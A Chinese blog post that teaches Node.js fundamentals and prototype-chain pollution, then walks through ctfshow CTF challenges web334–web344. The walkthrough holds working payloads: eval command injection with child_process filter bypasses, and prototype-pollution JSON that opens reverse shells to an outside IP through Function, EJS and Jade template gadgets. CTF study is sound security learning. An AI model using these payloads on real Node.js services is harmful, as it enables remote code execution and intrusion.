MENU

NodeJs从零到原型链污染

January 12, 2022 • Read: 1469 • WEB Security Learning

前言

CTF的时候确实有遇到NodeJS的题目,但是从来没系统学习,所以拿到题很懵。不知道应该从什么地方入手,所以决定去学习一下

NodeJS基础

由于之前没怎么学过JavaScript,所以边打题边学习了其基本语法,推荐一本好看的小说《JavaScript百炼成仙》
还有就是可以去菜鸟学,两小时就能拉通
官方文档:http://nodejs.cn/api/modules.html
在NodeJS中分为三个模块,分别是:核心模块、自定义模块、第三方模块。
JS代码在编程时,如果需要使用某个模块的功能,那么就需要提前将其导入,与Python类似,只不过在Python中使用import关键字,而JS中使用require关键字。
我主要学习在ctf中应用的比较多是几个方面

fs 文件系统

fs 模块支持以标准 POSIX 函数建模的方式与文件系统进行交互。

其中最简单的一个就是文件读取的操作
但是我们得分清楚

同步和异步

区别:

同步阻塞:同步的 API 会阻止 Node.js 事件循环和进一步的 JavaScript 执行,直到操作完成。
异步阻塞:对于一个IO操作,比如一个ajax,当发出一个异步请求后,程序不会阻塞在那里等待结果的返回,而是继续执行下面的代码。

当请求成功获取到结果后,就会调用回调函数来处理后面的事情,这个就是异步

简单但不完全正确的说:

同异步与现实生活的方式相反,同步就是事一件一件做,做完一件再做下一件,而异步是同时开始。

举个例子

var fs = require('fs');//导入fs模块
a = fs.readFileSync('./m1.txt');
console.log(a.toString());
console.log("结束!");

这就是异步,它的输出结果为

很明显是等待每个操作完成,然后只执行下一个操作
接下来是同步

var fs = require("fs");//导入fs模块
fs.readFile('./m1.txt', function (err, data) {
    if (err) return console.error(err);
    console.log(data.toString());
    console.log("------------------")
    console.log("现在才结束!")
});

console.log("结束?");

这是就是异步,它的输出结果为

异步 从不等待每个操作完成,而是只在第一步执行所有操作

全局变量

  1. __dirname:当前模块的目录名。
  2. __filename:当前模块的文件名。这是当前的模块文件的绝对路径(符号链接会被解析)。
  3. exports变量是默认赋值给module.exports,它可以被赋予新值,它会暂时不会绑定到module.exports。
  4. module:在每个模块中, module 的自由变量是对表示当前模块的对象的引用。为方便起见,还可以通过全局模块的 exports
  5. 访问 module.exports。module 实际上不是全局的,而是每个模块本地的
  6. require模块就不多说了,用于引入模块、 JSON、或本地文件。可以从 node_modules 引入模块。

我们常用的全局变量为__dirname和__filename

HTTP服务

如果想自己尝试搭建可以参考这篇博客:用nodejs搭建简易的HTTP服务器
这里我就简单的搭一个

/**

 1.使用 HTTP 服务器与客户端交互,需要 require('http')。
 声明http协议
 */
var http = require('http');

/**
 2.获取服务器对象
 1.通过 http.createServer([requestListener]) 创建一个服务

 requestListener <Function>
 返回: <http.Server>
 返回一个新建的 http.Server 实例。
 对于服务端来说,主要做三件事:
 1.接受客户端发出的请求。
 2.处理客户端发来的请求。
 3.向客户端发送响应。
 */

var server = http.createServer();

/**
 3.声明端口号,开启服务。
 server.listen([port][, host][, backlog][, callback])

 port <number> :端口号
 host <string> :主机ip
 backlog <number> server.listen() 函数的通用参数
 callback <Function> server.listen() 函数的通用参数
 Returns: <net.Server>
 启动一个TCP服务监听输入的port和host。

 如果port省略或是0,系统会随意分配一个在'listening'事件触发后能被server.address().port检索的无用端口。

 如果host省略,如果IPv6可用,服务器将会接收基于unspecified IPv6 address (::)的连接,否则接收基于unspecified IPv4 address (0.0.0.0)的连接

 */
server.listen(9000, function(){
    console.log('服务器正在端口号:9000上运行......');
})


/**
 4.给server 实例对象添加request请求事件,该请求事件是所有请求的入口。
 任何请求都会触发改事件,然后执行事件对应的处理函数。

 server.on('request',function(){
             console.log('收到客户端发出的请求.......');
        });
 */
//server.on('request',callbackFun)


/**
 5.设置请求处理函数。
 请求回调处理函数需要接收两个参数。
 request :request是一个请求对象,可以拿到当前浏览器请求的一些信息。
 eg:请求路径,请求方法等
 response: response是一个响应对象,可以用来给请求发送响应。

 */
server.on('request',function(request,response){

    console.log('收到客户端发出的请求.......');
    console.log('当前请求路径:'+request.url);
    response.write('hello nodeJs ');
    response.write(' hello M1kael');
    console.log('响应客户端发出的请求.......');
    // 响应完成后主动结束响应。
    response.end();
});


var callbackFun = function(request,response){

    console.log('收到客户端发出的请求.......');
    console.log('当前请求路径:'+request.url);
    response.write('hello nodeJs');
    response.write('hello M1kael');
    console.log('响应客户端发出的请求.......');
    // 响应完成后主动结束响应。
    response.end();
}

child_process

child_process提供了几种创建子进程的方式

异步方式:spawn、exec、execFile、fork
同步方式:spawnSync、execSync、execFileSync

经过上面的同步和异步思想的理解,创建子进程的同步异步方式应该不难理解。
异步进程的创建

  • child_process.exec(): 衍生 shell 并在该 shell 中运行命令,完成后将 stdout 和 stderr
    传给回调函数。
  • child_process.execFile(): 与 child_process.exec()
    类似,不同之处在于,默认情况下,它直接衍生命令,而不先衍生 shell。
  • child_process.fork(): 衍生新的 Node.js 进程并使用建立的 IPC
    通信通道(其允许在父子进程之间发送消息)调用指定的模块。
  • child_process.execSync(): child_process.exec() 的同步版本,其将阻塞 Node.js
    事件循环。
  • child_process.execFileSync(): child_process.execFile() 的同步版本,其将阻塞
    Node.js 事件循环。 等下会拿例题来使用

同步进程的创建
child_process.spawnSync()、child_process.execSync() 和 child_process.execFileSync() 方法是同步的,将阻塞 Node.js 事件循环,暂停任何其他代码的执行,直到衍生的进程退出。

具体的细节大家可以去官方文档看看

原型链

原型

任何对象都有一个原型对象,这个原型对象由对象的内置属性__proto__指向它的构造函数的prototype指向的对象,即任何对象都是由一个构造函数创建的

举个例子
在JavaScript中,声明了一个函数a,然后浏览器就自动在内存中创建一个对象b,a函数默认有一个属性prototype指向了这个对象b,b就是函数a的原型对象,简称原型。同时,对象b默认有属性constructor指向函数a。

原型链

原型链的核心就是依赖对象__proto__的指向,当访问的属性在该对象不存在时,就会向上从该对象构造函数的prototype的进行查找,直至查找到Object时,就没有指向了。如果最终查找失败会返回undefined或报错

从属关系

prototype->函数的一个属性:对象{}

eg:

function Test(){}
console.log(Test.prototype);

__proto___>对象Object的一个属性:对象{}

eg:

function Test(){}
console.log(Test.prototype);

var m1= new Test();
console.log(m1.__proto__);

对象的__proto__ 保存着该对象的的构造函数的prototype

eg:

function Foo(){}
var fn=new Foo();
console.log(fn.__proto__ == Foo.prototype)
console.log(fn.__proto__.__proto__ == Object.prototype)
console.log(fn.__proto__.__proto__.__proto__ == Object.prototype.__proto__)
/*
true
true
true
*/

好,了解完这些之后我们再来谈谈原型链污染
借用p神对原型链污染的定义

在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。(影响的是在子类中不存在的属性)

但是我看p神的文章看得半懂不懂,下来补了下基础知识才知道
这里我们需要了解它的继承方式

function Test(){
    this.a=1;
}

Test.prototype.b=2;
Object.prototype.c=3;

var m1= new Test();
console.log(m1.a);
console.log(m1.b)
console.log(m1.c)

其实在我个人的建议,不妨把__proto__当作一个指针,它指向它的构造函数,然后构造函数的__proto__指向Object,Object中没有这个属性,使用指向空.
原型链污染的核心机制在于,当我们调用对象某一属性,它首先会从实例化对象中中寻找,如果没有找到,则会向上在构造函数中寻找,如果仍未找到则会继续向上,直到查找到元素或查找到Object类为止,意思就是我们只需要继承链修改掉Obeject类的属性时,去实例化Obeject类,其对象也拥有了我们修改的属性,这就是原型链污染。

练习题

在ctfshow平台上的,nodejs模块的题目,很多基础知识,也学到了很多。

web334

题目提供了源码
我只找了两段关键代码
user.js

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

login.js

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

给了账号密码但是有过滤,但是toUpperCase() 用于把字符串转换为大写,所以只需要用户名小写ctfshow密码123456得到flag

web335

f12根据提示随便传参试试

知道底层应该是eval('console.log(xxx)')
意思就是nodejs的命令执行

再使用fs模块来读下目录

require("fs").readdirSync('.','utf-8')

发现有个fl00g.txt然后再用这个模块来读就行

require("fs").readFileSync('./fl00g.txt','utf-8')

后面看wp才知道可以使用子进程,原理是Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。

const { execSync } = require('child_process').execSync('需要执行的终端命令')

所以这里的pyload

require('child_process').execSync('ls')
require('child_process').execSync('cat fl00g.txt')

web336

这里用fs模块也能直接出答案

require("fs").readdirSync('.','utf-8')
require("fs").readFileSync('./fl001g.txt','utf-8')

但是当我用上面的子进程payload出问题了

应该有过滤,因为返回的是tql
所以我吗来读一下源码,先读文件名,用全局变量__fliename

然后还得用fs模块来读取文件

require("fs").readFileSync('/app/routes/index.js','utf-8')
var express = require('express'); 
var router = express.Router(); 
router.get('/', function(req, res, next) {
 res.type('html'); 
var evalstring = req.query.eval;
 if(typeof(evalstring)=='string' && evalstring.search(/exec|load/i)>0){ 
res.render('index',{ title: 'tql'}); }
else{ 
res.render('index', { title: eval(evalstring) }); 
} }); 
module.exports = router;

发现过滤了exec和load
所以我们这又会想着两个思路
思路一:
既然有过滤,那就有绕过姿势
所以我在本地试出了加号可以绕过
但是打环境又不行,我发现在浏览器上会被加号解析成空格,从而达不到绕过的效果
再考虑去url编一下码,成功绕过


   require("child_process")['exe'%2B'cSync']('ls')
   require('child_process')['exe'%2B'cSync']('cat fl001g.txt')

思路二,
子进程那么多同步方式,我们就换一个就行

require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
require( 'child_process' ).spawnSync('cat', ['fl001g.txt'], {encoding: 'utf-8'}).stdout.toString()

web337
题目又给了源码

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
      res.end(flag);
  }else{
      res.render('index',{ msg: 'tql'});
  }

});

module.exports = router;

需要满足a,b长度相同,a,b值不同,a,b+flag的md5值相同
这里一样的用数组绕过长度比较

原理就是这样,a和b相当于a[1]=1&b[1]=2,但是它的md5绕不过
而c和d传入c[a]=1&d[a]=2时,都返回[object Object]flag{xxxx}。此时就能绕过了
然后a[]=1&b=1就不用解释了

web338

很简单的原型链污染入门题
www的文件里面是http服务,先打开环境
发现是个登录界面,所以应该是在login.js里面可以进行污染

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

发现确实是需要满足secert.ctfshow==='36dboy'
所以我们可以直接构造它的构造函数的原型有这个属性
所以我们直接抓包修改链子就行

web339

也给了源码
在login.js中找到

意思是我们需要满足这个才行,但肯定利用不了,所以找一下其他地方来进行污染

在api.js中找到了Function
这个函数(也是对象)的一个属性是query,首先得知道这个对象的构造函数是自己,它和Object是特性,在底层就是这样规定的
然后我们看看能不能利用这个属性来进行污染
所以我们直接进行数据外带 试试 因为Function 环境下没有 require 函数,直接使用require(‘child_process’) 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.41.59.127/8080 0>&1\"')"}}

直接post传api界面进行污染就行

然后在目录下的login.js找到flag

然后去看了wp知道这个题还有一个非预期解
利用点就是题用了ejs模板引擎,这个模板引擎有个漏洞可以rce:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}

web340

与之前的web338,web339339都很相似
但是web338类似的地方

它在链子的第一层就定义了这个属性为false,所以这里是打不了的
只能来打与web339相似的地方

依旧用这个属性来打,但是这里我们需要构造function的构造函数,也可以说就是Object
它自己的最底层套了两次,所以我们就需要__proto__两层就行
所以payload:

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.41.59.127/8080 0>&1\"')"}}}

依旧在api界面弹就行

还是在login.js找到

web341

发现没有常规的逻辑漏洞让我们来污染了
然后看了一圈发现了这个

然后用之前这个基于ejs模板渲染的rce就行

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.41.59.127/8080 0>&1\"')"}}}

打过去后刷新一些页面就能反弹

没找到flag,算了不想花时间找了
直接下一题

web342

这个也是模板渲染的rce,只是它是基于jade模板渲染的rce就行,但是这里和web140又是一样里面有一层

然后直接去网上找一下payload:

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.41.59.127/8080 0>&1\"')"}}}

注意这两个点,然后打过去

随便刷新一下页面,反弹shell成功
然后在env环境变量里找到flag

web343

与上题一样,也是基于jade模板渲染的rce
直接上题paylaod:

 {"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.41.59.127/8080 0>&1\"')"}}}

操作一样就不多说了

web344

给了源码

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
      res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
      res.end(flag);
  }else{
      res.end('where is flag. :)');
  }

});

很简单的构造问题了,node.js处理req.query.query的时候,它不像php那样,后面get传的query值会覆盖前面的,而是会把这些值都放进一个数组中。而JSON.parse居然会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析,因此这样分开来传就可以绕过逗号了。
所以我们只需要构造一个

query={"name":"admin",query="password":"ctfshow",query="isVIP":true}

但是它这个过滤的是把逗号过滤掉了,然后逗号的url编码还是为%2c,2c也被过滤
这里我们就用&来绕过就行,然后再进行url编码
所以最终payload:

?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d

结语

自我认知

还是发现自己的代码功底太弱了,需要好好多做一些审计题。
NodeJs的学习就先告一段落了,后面如果想深入再来补充。

参考链接

参考链接一
参考链接二
参考链接三
参考链接四
参考链接五
参考链接六
参考链接七

Last Modified: February 7, 2022
Archives Tip
QR Code for this page
Tipping QR Code